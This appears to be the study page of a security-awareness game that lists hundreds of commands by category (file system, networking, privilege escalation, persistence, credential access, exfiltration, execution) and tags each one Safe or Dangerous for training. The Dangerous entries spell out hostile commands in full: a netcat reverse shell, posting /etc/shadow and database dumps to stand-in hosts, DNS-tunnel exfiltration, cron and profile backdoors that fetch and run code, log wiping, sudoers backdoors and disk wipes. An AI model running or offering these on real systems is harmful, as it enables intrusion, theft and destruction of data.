← ReflexSec
Learn
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
File System
- Safe
rm ./build/output.logIntermediate - Safe
chmod +x ./scripts/deploy.shIntermediate - Dangerous
sudo rm -rf / --no-preserve-rootIntermediate - Dangerous
sudo rm -rf /var/lib/mysqlIntermediate - Dangerous
mkfs.ext4 /dev/sda1Intermediate - Dangerous
dd if=/dev/zero of=/dev/sda bs=1MIntermediate - Dangerous
DROP DATABASE production;Intermediate - Dangerous
chown -R nobody:nogroup /homeIntermediate - Safe
tar -czf backup.tar.gz ./dataAdvanced - Dangerous
sudo dd if=/dev/urandom of=/dev/sdb bs=4M status=progressAdvanced - Safe
base64 -d ./cert.b64 > ./cert.derAdvanced - Safe
rsync -avn ./src/ ./backup/Expert - Safe
sudo chown -R "$USER":"$USER" ./projectAdvanced - Safe
chmod -R go-w ./releaseExpert - Safe
dd if=./ubuntu.iso of=/dev/null bs=4M status=progressExpert - Safe
rsync -avz --delete --dry-run ./site/ deploy@example.com:/var/www/site/Nightmare - Safe
tar -tzf ./release.tar.gz | head -50Nightmare - Dangerous
rsync -avz --delete ./site/ deploy@example.com:/var/www/site/Nightmare - Dangerous
curl -sL https://example.com/patch.tgz | tar -xz -C / --strip-components=1Nightmare - Dangerous
chmod -R 777 ./storage/uploadsProIntermediate - Safe
rm -rf ./dist ./coverage && npm run buildProIntermediate - Dangerous
jq '.' config.json > config.jsonProIntermediate - Dangerous
jq -r '.artifacts[] | .path' build.json | xargs rm -fProAdvanced - Safe
jq -r '.files[] | select(.stale) | .path' index.json | tr '\n' '\0' | xargs -0 rm -fProExpert - Safe
tar -czf backup.tar.gz ./projectProIntermediate - Safe
tar -tzf release.tar.gzProAdvanced - Dangerous
tar --overwrite -xf patch.tar -C /opt/appProIntermediate - Dangerous
tar -xzf release.tar.gz -P -C /ProAdvanced - Safe
tar -xzf release.tar.gz -C ./unpacked --no-same-owner && rm release.tar.gzProAdvanced - Safe
find /var/log -name '*.log' -mtime +30 -printProIntermediate - Dangerous
find / -name '*.bak' -mtime +7 -deleteProIntermediate - Safe
find ./build -maxdepth 2 -name '*.tmp' -exec rm -f {} +ProExpert - Dangerous
find /srv/uploads -type f -exec chmod 777 {} +ProAdvanced - Dangerous
rsync -av --delete ./dist/ deploy@web.example.com:/var/www/ProIntermediate - Safe
unzip -l theme.zipProAdvanced - Safe
zip -r backup.zip ./docs -x '*.env'ProAdvanced - Safe
$lines = Get-Content .\app.log -Tail 200; [array]::Reverse($lines); $lines | Select-Object -First 20ProAdvanced - Dangerous
Get-ChildItem $env:TEMP -Recurse | Unblock-FileProAdvanced - Safe
Unblock-File .\Q3-report.xlsxProExpert - Dangerous
Invoke-Command -ComputerName (Get-Content .\all-servers.txt) -ScriptBlock { Remove-Item C:\Logs\* -Recurse -Force }ProNightmare - Dangerous
kubectl exec -it postgres-0 -- rm -rf /var/lib/postgresql/data/pg_walProExpert - Safe
file ./sample-8f2a.binProIntermediate - Safe
sha256sum ./sample-8f2a.binProIntermediate - Safe
chmod -x ./sample-8f2a.binProIntermediate - Safe
strings -n 8 ./sample-8f2a.bin | head -50ProAdvanced - Safe
strings ./sample-8f2a.bin | grep -iw reverseProAdvanced - Safe
xxd ./sample-8f2a.bin | head -4ProAdvanced - Safe
base64 -d ./attachment.b64 > ./sample-8f2a.binProAdvanced - Safe
olevba ./invoice.docProExpert - Safe
yara -r ./rules/apt-loaders.yar ./quarantine/ProExpert - Safe
dd if=./usb-image.dd bs=512 count=1 | xxd | head -8ProExpert - Safe
binwalk ./firmware.binProNightmare - Safe
mount -o ro,loop,noexec,nodev ./usb-image.dd /mnt/evidenceProNightmare - Dangerous
tar xzf ./sample.tar.gz -C /ProAdvanced - Dangerous
binwalk -e ./firmware.binProAdvanced - Dangerous
mount -o loop ./usb-image.dd /mnt/evidenceProNightmare - Safe
echo 'RT-2026-014 access confirmed' > /tmp/rt-2026-014-proof.txtProIntermediate - Safe
import -window root ./evidence/dc01-access-2026-09-08.pngProExpert - Dangerous
find /srv -type f -name '*.db' -exec openssl enc -aes-256-cbc -pbkdf2 -k demo -in {} -out {}.enc \;ProNightmare - Safe
base64 -d ./approved-lure.b64 | sha256sumProExpert - Safe
sudo cp -a /var/log /evidence/ir-2026-004/logs/ProIntermediate - Dangerous
sudo tar xzpf /backups/app-2026-09-01.tgz -C /srv/appProAdvanced - Safe
sudo dd if=/dev/sda of=/evidence/ir-2026-004/sda.img bs=4M conv=noerror,syncProAdvanced - Safe
sha256sum /evidence/ir-2026-004/sda.img | tee /evidence/ir-2026-004/sda.img.sha256ProAdvanced - Safe
sudo find / -newermt '2026-09-07 22:00' -type f 2>/dev/null > /evidence/ir-2026-004/changed-files.txtProAdvanced - Dangerous
sudo dd if=/backups/golden.img of=/dev/sda bs=4MProAdvanced - Dangerous
pg_restore -c -d app /backups/app-latest.dumpProAdvanced - Dangerous
shred -u /tmp/.x/implantProAdvanced - Dangerous
sudo find /var/www -name '*.suspected' -deleteProAdvanced - Dangerous
sudo rm -rf /home/intruderProAdvanced - Safe
sudo cp -a /home/intruder /evidence/ir-2026-004/home/ProExpert - Safe
sudo chattr +i /evidence/ir-2026-004/sda.imgProNightmare - Safe
sha256sum -c /evidence/ir-2026-004/sda.img.sha256ProNightmare - Safe
sudo tar --xattrs -czf /evidence/ir-2026-004/triage.tgz /evidence/ir-2026-004/ProNightmare - Dangerous
sudo shred -n1 /dev/sdaProNightmare - Dangerous
find /evidence/ir-2026-004 -type f -exec touch -t 202601010000 {} \;ProNightmare - Safe
ls -lh /var/www/htmlBeginner - Safe
wc -l access.csvBeginner - Safe
du -sh ./node_modulesBeginner - Safe
stat /etc/hostsBeginner - Safe
chmod 600 ~/.ssh/configBeginner - Safe
chmod u+x ./scripts/deploy.shBeginner - Dangerous
rm -rf /var/lib/postgresql/16/mainBeginner - Dangerous
chmod -R 777 /var/wwwBeginner - Dangerous
chown -R nobody:nogroup /etcBeginner - Dangerous
dd if=/dev/urandom of=/dev/nvme0n1 bs=4MBeginner - Dangerous
mkfs.ext4 /dev/sdb1Beginner - Dangerous
rm -rf ~/*Beginner - Dangerous
sudo mount -o remount,rw /Beginner - Dangerous
DROP TABLE users;Beginner - Dangerous
python3 -c "import shutil; shutil.rmtree('/srv/uploads')"Beginner - Dangerous
psql -c "UPDATE users SET email = 'x@example.com';"Beginner
Networking
- Safe
curl -s https://example.com/healthIntermediate - Safe
curl -fsSL https://example.com/release.asc | gpg --importIntermediate - Safe
ss -tulpnAdvanced - Safe
nc -zv example.com 443Advanced - Dangerous
nc -e /bin/sh 198.51.100.20 4444Advanced - Safe
sudo iptables -L -n -vExpert - Safe
curl -s -H "Authorization: Bearer $API_TOKEN" https://example.com/api/status | jq .Advanced - Dangerous
sudo iptables -F && sudo iptables -P INPUT ACCEPTExpert - Safe
curl -fsS -X POST https://example.com/api/deploy -H "Authorization: Bearer $DEPLOY_TOKEN" -d '{"ref":"main"}'Expert - Dangerous
python3 -m http.server 8000 --bind 0.0.0.0 --directory /Nightmare - Safe
nc -z -w2 db.example.internal 5432ProNightmare - Safe
curl -s https://api.example.com/status | jq '.uptime'ProIntermediate - Safe
wget -qO- https://api.example.com/feed.json | jq '.entries[0]'ProIntermediate - Safe
curl -s https://api.example.com/hosts.json | jq -r '.[].fqdn' | sortProAdvanced - Safe
curl -s https://api.example.com/v1/nodes | jq --arg re "$NAME_FILTER" '[.[] | select(.name | test($re))]'ProNightmare - Safe
tar -czf - ./logs | ssh deploy@logs.example.com 'cat > /backup/logs.tar.gz'ProExpert - Safe
rsync -av ./site/ deploy@web.example.com:/var/www/site/ProIntermediate - Safe
rsync -av --delete --dry-run ./dist/ deploy@web.example.com:/var/www/dist/ProExpert - Safe
rsync -av -e 'ssh -p 2222 -i ~/.ssh/deploy_ed25519' ./dist/ deploy@web.example.com:/var/www/dist/ProExpert - Safe
curl -s -o release.tar.gz https://downloads.example.com/app-1.4.2.tar.gzProIntermediate - Safe
curl --proto '=https' --tlsv1.2 -sSf https://downloads.example.com/install.sh -o install.shProExpert - Safe
wget -q -O checksums.txt https://downloads.example.com/SHA256SUMSProAdvanced - Safe
ssh -i ~/.ssh/deploy_ed25519 deploy@web.example.com 'systemctl status app'ProAdvanced - Dangerous
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null deploy@web.example.comProIntermediate - Safe
scp -i ~/.ssh/deploy_ed25519 ./dist/app.tar.gz deploy@web.example.com:/srv/app/ProIntermediate - Safe
Invoke-RestMethod https://api.example.com/v1/health | Select-Object -ExpandProperty statusProIntermediate - Safe
Invoke-Command -ComputerName web01.example.com -ScriptBlock { Get-Service W3SVC } -Credential $credProExpert - Dangerous
Enable-PSRemoting -Force -SkipNetworkProfileCheckProExpert - Dangerous
New-NetFirewallRule -DisplayName 'Remote Admin' -Direction Inbound -LocalPort 5985 -Protocol TCP -Action Allow -Profile AnyProExpert - Safe
Set-Item WSMan:\localhost\Client\TrustedHosts -Value 'jump01.example.com' -Concatenate -ForceProNightmare - Dangerous
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -ForceProNightmare - Dangerous
Set-Content -Path C:\Windows\System32\drivers\etc\hosts -Value '198.51.100.25 packages.example.com' -ForceProNightmare - Safe
Invoke-Command -ComputerName (Get-Content .\all-servers.txt) -ScriptBlock { Get-MpComputerStatus } | Export-Csv .\defender-status.csv -NoTypeInformationProNightmare - Safe
kubectl port-forward svc/api 8080:80ProAdvanced - Dangerous
kubectl port-forward svc/postgres 5432:5432 --address 0.0.0.0ProIntermediate - Safe
kubectl exec -it netshoot -- nc -zv postgres 5432ProAdvanced - Safe
kubectl exec -it netshoot -- curl -s -o /dev/null -w '%{http_code}' http://api.example.internal:8080/healthzProExpert - Dangerous
kubectl proxy --address=0.0.0.0 --accept-hosts='.*'ProExpert - Dangerous
kubectl patch svc api -n production -p '{"spec":{"type":"LoadBalancer"}}'ProNightmare - Dangerous
kubectl config set-cluster prod --insecure-skip-tls-verify=trueProNightmare - Safe
aws ec2 revoke-security-group-ingress --group-id sg-0a1b2c3d --protocol tcp --port 22 --cidr 0.0.0.0/0ProIntermediate - Safe
aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 --query 'SecurityGroups[].GroupId'ProAdvanced - Dangerous
aws rds modify-db-instance --db-instance-identifier prod-db --publicly-accessible --apply-immediatelyProExpert - Safe
curl -s https://api.example.com/v3/hashes/8f2a1c9d4b3e7f60ProAdvanced - Safe
tshark -r ./capture.pcap -Y 'http.request' -T fields -e http.host | sort -uProNightmare - Safe
iptables -L FORWARD -n -vProNightmare - Dangerous
qemu-system-x86_64 -hda ./analysis.qcow2 -m 4096 -netdev user,id=n0 -device e1000,netdev=n0ProExpert - Dangerous
openssl s_client -connect c2.example.net:443ProExpert - Safe
nmap -sn 198.51.100.0/24ProIntermediate - Dangerous
nmap -sn 192.0.2.0/24ProIntermediate - Safe
nmap -T2 --top-ports 100 198.51.100.10ProAdvanced - Safe
curl -s -X POST https://redteam.example.com/deconflict -d 'window=14:00-16:00&host=198.51.100.10'ProAdvanced - Safe
ssh -i ~/.ssh/rt_ed25519 operator@198.51.100.5ProAdvanced - Safe
nc -zv -w2 198.51.100.10 22ProAdvanced - Dangerous
nmap -sV vendor-portal.example.orgProAdvanced - Dangerous
nmap -sS -T4 198.51.100.0/24ProAdvanced - Safe
proxychains -q nmap -sT 203.0.113.0/24ProExpert - Safe
sudo responder -I eth0 -AProExpert - Dangerous
nmap --script 'exploit' -p 445 203.0.113.50ProAdvanced - Safe
socat TCP-LISTEN:8443,fork TCP:198.51.100.5:443ProNightmare - Safe
sudo tcpdump -i eth0 -w rt-2026-014.pcap host 198.51.100.10ProAdvanced - Dangerous
sudo iptables -FProAdvanced - Safe
sudo iptables -A OUTPUT -d 203.0.113.66 -j DROPProIntermediate - Safe
ss -tanp > /evidence/ir-2026-004/connections.txtProAdvanced - Safe
sudo iptables -I INPUT -s 203.0.113.66 -j DROPProAdvanced - Safe
sudo tcpdump -i eth0 -w /evidence/ir-2026-004/capture.pcap not port 22ProAdvanced - Dangerous
sudo systemctl restart networkingProAdvanced - Safe
aws ec2 modify-instance-attribute --instance-id i-0abc123def456789 --groups sg-quarantineProExpert - Safe
openssl x509 -in server.pem -noout -datesBeginner - Safe
curl -sSf https://example.com/healthzBeginner - Dangerous
iptables -P INPUT ACCEPTBeginner - Dangerous
systemctl disable --now firewalldBeginner
Privilege Escalation
- Dangerous
sudo chmod -R 777 /Intermediate - Safe
sudo -lAdvanced - Dangerous
echo "deploy ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/99-deployAdvanced - Safe
find / -perm -4000 -type f 2>/dev/nullExpert - Dangerous
echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoersAdvanced - Dangerous
chmod u+s /usr/bin/findExpert - Dangerous
sudo -u '#-1' /usr/bin/idNightmare - Dangerous
cp /bin/sh /tmp/.cache && chmod u+s /tmp/.cacheNightmare - Dangerous
kubectl create clusterrolebinding agent-fix --clusterrole=cluster-admin --serviceaccount=default:build-runnerProIntermediate - Dangerous
sudo chown -R $(whoami) /usr/local/libProIntermediate - Safe
kubectl auth can-i create secrets --as=system:serviceaccount:default:build-runnerProIntermediate - Dangerous
sudo usermod -aG docker "$(whoami)"ProExpert - Safe
sudo visudo -cProExpert - Dangerous
tar --same-owner -xpf snapshot.tar -C /var/lib/appProExpert - Dangerous
sed -i 's/^PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configProAdvanced - Dangerous
chown -R "$USER" /usr/localProAdvanced - Dangerous
New-LocalUser -Name svc_backup -NoPassword; Add-LocalGroupMember -Group Administrators -Member svc_backupProIntermediate - Safe
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | Select-Object Name, PathNameProNightmare - Dangerous
Set-Acl -Path 'C:\Program Files\App' -AclObject (Get-Acl C:\Users\Public)ProNightmare - Safe
kubectl create rolebinding ci-deploy --clusterrole=edit --serviceaccount=ci:runner -n team-aProAdvanced - Dangerous
kubectl debug node/worker-3 -it --image=busybox -- chroot /host shProExpert - Safe
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'ProNightmare - Dangerous
kubectl create clusterrolebinding anon-view --clusterrole=view --group=system:unauthenticatedProNightmare - Dangerous
aws iam put-user-policy --user-name ci --policy-name admin --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'ProIntermediate - Dangerous
aws iam attach-role-policy --role-name lambda-exec --policy-arn arn:aws:iam::aws:policy/IAMFullAccessProAdvanced - Dangerous
az role assignment create --assignee svc-deploy --role Owner --scope /subscriptions/00000000-0000-0000-0000-000000000000ProAdvanced - Safe
aws iam list-attached-role-policies --role-name lambda-exec --query 'AttachedPolicies[].PolicyArn'ProExpert - Dangerous
aws ec2 run-instances --image-id ami-0abc123 --instance-type t3.micro --user-data file://./bootstrap.sh --iam-instance-profile Name=admin-profileProExpert - Safe
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:role/ci --action-names s3:PutObject --resource-arns arn:aws:s3:::app-assets-example/*ProExpert - Dangerous
aws iam update-assume-role-policy --role-name deploy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"*"},"Action":"sts:AssumeRole"}]}'ProNightmare - Safe
find ./extracted -user root -perm -4000 -type fProNightmare - Dangerous
net user rt_svc 'P@ssw0rd2026' /add /domain && net group 'Domain Admins' rt_svc /add /domainProNightmare - Safe
sudo -l -U www-dataProExpert - Safe
sudo -kBeginner - Dangerous
chmod 666 /etc/sudoersBeginner - Dangerous
echo 'devs ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/90-devsBeginner - Dangerous
chmod u+s /bin/bashBeginner
Persistence
- Dangerous
truncate -s 0 /var/log/auth.logIntermediate - Dangerous
history -c && export HISTFILE=/dev/nullIntermediate - Dangerous
echo '* * * * * /tmp/.update' | crontab -Intermediate - Dangerous
ln -sf /dev/null ~/.bash_historyIntermediate - Dangerous
New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advanced - Dangerous
echo '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert - Dangerous
:> /var/log/syslogAdvanced - Dangerous
echo 'source /tmp/.profile.sh' >> ~/.bashrcAdvanced - Dangerous
launchctl load -w ~/Library/LaunchAgents/com.example.updater.plistExpert - Dangerous
echo 'export PROMPT_COMMAND="curl -s https://example.com/b|bash"' >> ~/.bash_profileNightmare - Dangerous
systemd-run --on-calendar='*:0/10' --unit=metrics-refresh /usr/local/bin/refreshNightmare - Dangerous
(crontab -l 2>/dev/null; echo "*/5 * * * * cd /srv/app && ./scripts/agent-fix.sh") | crontab -ProNightmare - Dangerous
jq -r 'to_entries[] | "export \(.key)=\(.value)"' app-env.json > /etc/profile.d/app.shProAdvanced - Dangerous
awk '{print > "/etc/cron.d/" $1}' jobs.txtProExpert - Dangerous
apt-get install -y --allow-unauthenticated app-agentProIntermediate - Safe
crontab -l > crontab.backupProIntermediate - Dangerous
crontab -rProExpert - Dangerous
Register-ScheduledTask -TaskName 'SystemCheck' -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Action (New-ScheduledTaskAction -Execute 'pwsh.exe' -Argument '-w hidden -f C:\Users\Public\s.ps1')ProExpert - Dangerous
Add-Content $PROFILE.AllUsersAllHosts -Value 'IEX (irm https://cdn.example.com/p.ps1)'ProNightmare - Dangerous
Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysCheck'; EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60'}ProNightmare - Dangerous
sudo auditctl -DProAdvanced - Safe
crontab -l | grep -v 'rt-2026-014' | crontab -ProExpert - Dangerous
sudo systemctl enable rt-beacon.serviceProExpert - Dangerous
for h in $(cat foothold-hosts.txt); do ssh $h 'journalctl --rotate && journalctl --vacuum-time=1s'; doneProNightmare - Dangerous
nohup ./rt-beacon --c2 c2.example.net >/dev/null 2>&1 &ProNightmare - Safe
sudo crontab -l -u intruder > /evidence/ir-2026-004/intruder-cron.txtProAdvanced - Dangerous
chattr -i /etc/passwdBeginner - Dangerous
sudo crontab -r -u deployBeginner - Dangerous
cp /dev/null /var/log/secureBeginner - Dangerous
history -c && cat /dev/null > ~/.bash_historyBeginner
Credential Access
- Dangerous
mv /etc/passwd /tmp/passwd.bakIntermediate - Safe
chmod 600 ~/.ssh/id_ed25519Intermediate - Dangerous
chmod 777 ~/.ssh/authorized_keysAdvanced - Dangerous
mv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediate - Dangerous
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvanced - Dangerous
curl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert - Dangerous
Get-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare - Safe
git rm --cached .envProIntermediate - Dangerous
git add .env.local && git commit -m "add local config for tests"ProIntermediate - Safe
chmod 600 ./config/service-account.jsonProIntermediate - Dangerous
printenv | tee ci-debug.txtProIntermediate - Safe
gh secret set DEPLOY_TOKEN < ./new-token.txtProIntermediate - Dangerous
echo "//registry.example.com/:_authToken=$NPM_TOKEN" > .npmrcProExpert - Dangerous
ssh -A deploy@bastion.example.com 'bash -s' < ./scripts/deploy.shProExpert - Dangerous
chmod 644 ~/.ssh/id_ed25519 && ssh -i ~/.ssh/id_ed25519 deploy@app.example.comProExpert - Safe
passwd -S "$(whoami)"ProExpert - Safe
gitleaks detect --source . --redact --report-path ./gitleaks.jsonProAdvanced - Dangerous
ssh-keyscan -H app.example.com >> ~/.ssh/known_hostsProExpert - Dangerous
kubectl create configmap app-config --from-file=./secrets/.envProNightmare - Safe
shred -u ./tmp/old-deploy-key.pemProNightmare - Dangerous
jq -n 'env' > /tmp/debug-env.jsonProIntermediate - Dangerous
kubectl get secret api-keys -o json | jq -r '.data | to_entries[] | .value' >> deploy.logProAdvanced - Dangerous
jq --rawfile key "$HOME/.ssh/id_rsa" '.deploy_key = $key' config.jsonProAdvanced - Safe
curl -s --fail https://api.example.com/v1/keys | jq 'del(.private_key)' > keys-public.jsonProExpert - Dangerous
cat tokens.json | jq -r '.[] | @base64d' | tee /tmp/tokens.txtProExpert - Dangerous
jq "$USER_FILTER" data.jsonProNightmare - Dangerous
rsync -av -e 'ssh -o StrictHostKeyChecking=no' ./secrets/ deploy@backup.example.com:/vault/ProExpert - Dangerous
curl -k https://api.example.com/v1/token -H 'Authorization: Bearer example-token'ProIntermediate - Dangerous
wget --no-check-certificate -O deploy.key https://internal.example.com/deploy.keyProAdvanced - Dangerous
ssh -A deploy@bastion.example.comProNightmare - Dangerous
scp -r ~/.aws deploy@build.example.com:/tmp/ProExpert - Dangerous
docker run --rm -v /etc:/mnt:ro alpine cat /mnt/shadowProAdvanced - Dangerous
docker build --build-arg NPM_TOKEN="$NPM_TOKEN" -t app:1.4 .ProNightmare - Dangerous
sed -i "s|__TOKEN__|$API_TOKEN|" ./dist/config.jsProExpert - Dangerous
mysql -h db.example.com -u app -pexample-password -e "SELECT * FROM users"ProAdvanced - Safe
$cred = Get-Credential -UserName svc_deploy -Message 'Deployment account'ProAdvanced - Dangerous
$cred = New-Object System.Management.Automation.PSCredential('svc_deploy', (ConvertTo-SecureString 'S3cr3t!' -AsPlainText -Force))ProAdvanced - Safe
$cred = Import-Clixml .\svc_deploy.credProExpert - Dangerous
Start-Transcript -Path \\fileserver.example.com\logs\$env:USERNAME.logProAdvanced - Safe
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720} | Select-Object TimeCreated, @{n='User';e={$_.Properties[0].Value}}ProNightmare - Dangerous
kubectl create secret generic api-creds --from-literal=password=hunter2ProAdvanced - Safe
kubectl get secret app-tls -o jsonpath='{.data.tls\.crt}' | base64 -d | openssl x509 -noout -enddateProAdvanced - Safe
kubectl create token ci-runner --duration=10m -n ciProAdvanced - Dangerous
kubectl create token ci-runner --duration=8760h -n ciProAdvanced - Safe
kubectl create secret generic api-creds --from-file=password=./password.txtProExpert - Dangerous
chmod 644 ~/.kube/configProExpert - Safe
kubeseal --format yaml < ./secret.yaml > ./sealed-secret.yamlProNightmare - Dangerous
ETCDCTL_API=3 etcdctl --endpoints=https://localhost:2379 get /registry/secrets --prefix --keys-onlyProNightmare - Safe
chmod 600 ~/.aws/credentialsProIntermediate - Safe
aws iam get-credential-report --query Content --output text | base64 -d | head -5ProAdvanced - Safe
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/deploy --role-session-name ci-build --duration-seconds 900ProIntermediate - Safe
az keyvault secret show --vault-name app-kv --name db-password --query value -o tsvProAdvanced - Dangerous
aws iam create-access-key --user-name ci-runnerProAdvanced - Dangerous
aws configure set aws_secret_access_key EXAMPLEKEYEXAMPLE123 --profile prodProAdvanced - Safe
aws kms decrypt --ciphertext-blob fileb://./config.enc --query Plaintext --output text | base64 -dProExpert - Dangerous
aws secretsmanager put-resource-policy --secret-id prod/db --resource-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":"secretsmanager:GetSecretValue"}]}'ProExpert - Safe
strings ./sample-8f2a.bin | grep -E 'passwd|shadow'ProExpert - Safe
hashcat -m 1000 ./captured-ntlm.txt ./wordlist.txtProAdvanced - Safe
sed -i '/rt-2026-014/d' ~/.ssh/authorized_keysProExpert - Dangerous
sudo responder -I eth0 -wFProExpert - Dangerous
sudo cp /var/lib/samba/private/secrets.tdb ./loot/ && secretsdump.py -sam sam.hive LOCALProExpert - Safe
shred -u ./loot/captured-ntlm.txtProNightmare - Safe
kerbrute passwordspray -d example.local --dc 198.51.100.5 users.txt 'Autumn2026!' --delay 3600ProNightmare - Safe
bloodhound-python -d example.local -u svc_audit -p '***' -ns 198.51.100.5 -c DCOnlyProNightmare - Dangerous
gophish --config ./live-campaign.jsonProNightmare - Safe
gpg --encrypt --recipient lead@example.com ./RT-2026-014-findings.mdProNightmare - Safe
ticketer.py -domain example.local -domain-sid S-1-5-21-0-0-0 -nthash '***' rt-demoProNightmare - Dangerous
mimikatz 'privilege::debug' 'misc::skeleton' exitProNightmare - Safe
chmod 600 ~/.ssh/rt_ed25519ProAdvanced - Dangerous
ssh svc_backup@vendor-portal.example.orgProAdvanced - Dangerous
sudo userdel -r intruderProIntermediate - Safe
sudo usermod -L intruderProIntermediate - Safe
aws iam update-access-key --access-key-id AKIAEXAMPLE1 --status InactiveProAdvanced - Safe
last -Faiw > /evidence/ir-2026-004/logins.txtProAdvanced - Safe
sudo chage -l intruder > /evidence/ir-2026-004/intruder-acct.txtProAdvanced - Safe
az keyvault secret set --vault-name app-kv --name db-password --value "$(openssl rand -base64 24)"ProExpert - Dangerous
mysql -e "DROP USER 'intruder'@'%'"ProExpert - Safe
ssh-keygen -lf ~/.ssh/id_ed25519.pubBeginner - Dangerous
passwd rootBeginner - Dangerous
rm -rf ~/.sshBeginner
Data Exfiltration
- Dangerous
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvanced - Dangerous
tar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvanced - Dangerous
mysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpert - Dangerous
aws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmare - Dangerous
find /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmare - Dangerous
for f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmare - Dangerous
pg_dump -h db.example.internal appdb | ssh deploy@bastion.example.com 'cat > /srv/appdb.sql'ProAdvanced - Dangerous
COPY (SELECT * FROM users) TO '/srv/export/users.csv' WITH CSV HEADER;ProAdvanced - Dangerous
tar -czf - ./logs | curl -s -T - https://files.example.com/upload/app-logs.tgzProExpert - Dangerous
jq --argfile creds "$CRED_FILE" '.auth = $creds' request.json > /var/www/html/status.jsonProExpert - Dangerous
rsync -az ./ backup@backup.example.com:/vault/app/ProNightmare - Dangerous
zip -r support-bundle.zip /etc/app /home/deploy/.configProAdvanced - Dangerous
Get-ChildItem C:\inetpub\wwwroot -Recurse -Filter web.config | Select-String -Pattern 'password=' | Out-File \\198.51.100.25\share\found.txtProExpert - Dangerous
kubectl get secrets -A -o yaml > cluster-secrets.yamlProExpert - Dangerous
aws s3 presign s3://example-backups/db-dump.sql --expires-in 604800ProAdvanced - Dangerous
curl -s http://metadata.example.internal/latest/meta-data/iam/security-credentials/app-role | curl -T - https://collect.example.net/cProExpert - Dangerous
curl -F file=@./sample-8f2a.bin https://scan.example.net/api/uploadProExpert - Dangerous
scp ./sample-8f2a.bin analyst@fileserver.example.com:/shared/tools/ProNightmare - Dangerous
tar czf loot.tgz /srv/app/exports/customers && scp loot.tgz redteam@collect.example.net:/loot/ProIntermediate - Dangerous
psql -h prod-db.example.com -U app -c 'SELECT * FROM payments LIMIT 100;'ProAdvanced - Dangerous
proxychains -q ssh backup@203.0.113.9 'mysqldump --all-databases | gzip > /tmp/all.sql.gz'ProNightmare - Dangerous
xxd -p -c16 /srv/app/exports/pii.csv | while read c; do dig $c.tunnel.example.net +short; doneProNightmare - Dangerous
shred -u /backups/nightly.sql.gzBeginner
Process Execution
- Safe
ps auxIntermediate - Dangerous
curl -fsSL https://example.com/install.sh | bashIntermediate - Dangerous
wget -qO- https://example.com/setup | shAdvanced - Dangerous
python3 -c "exec(open('/tmp/stage2.py').read())"Advanced - Dangerous
export LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvanced - Dangerous
curl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert - Safe
kill -HUP $(cat /var/run/nginx.pid)Nightmare - Dangerous
bash -c "$(curl -fsSL https://example.com/install)"Expert - Dangerous
mshta https://example.com/page.htaExpert - Safe
ps -eo pid,ppid,user,etimes,cmd --sort=-etimes | awk '$4 > 86400 && $3 != "root"' | head -25Nightmare - Dangerous
printf '%s' 'dW5hbWUgLWE=' | base64 -d | shNightmare - Dangerous
curl -fsSL https://example.com/get-cli.sh | shProIntermediate - Safe
kill -TERM $(cat ./tmp/dev-server.pid)ProExpert - Dangerous
Set-ExecutionPolicy Bypass -Scope Process -Force; ./tools/install.ps1ProExpert - Dangerous
curl -s https://example.com/setup.json | jq -r '.install' | shProIntermediate - Dangerous
curl -s https://example.com/tasks.json | jq -r '.[].cmd' | bashProAdvanced - Dangerous
jq -L /tmp/jq-modules 'include "helpers"; .data | normalise' input.jsonProAdvanced - Dangerous
jq -r '.hooks[] | .command' .repo-config.json | while read -r c; do $c; doneProExpert - Dangerous
curl -s https://example.com/filters/report.jq -o /tmp/r.jq && jq -f /tmp/r.jq metrics.jsonProExpert - Dangerous
find . -name '*.sh' -exec bash {} \;ProExpert - Dangerous
curl -sSL https://get.example.com/install.sh | shProIntermediate - Dangerous
Invoke-RestMethod https://get.example.com/install.ps1 | Invoke-ExpressionProIntermediate - Safe
kill -Name node -WhatIfProAdvanced - Dangerous
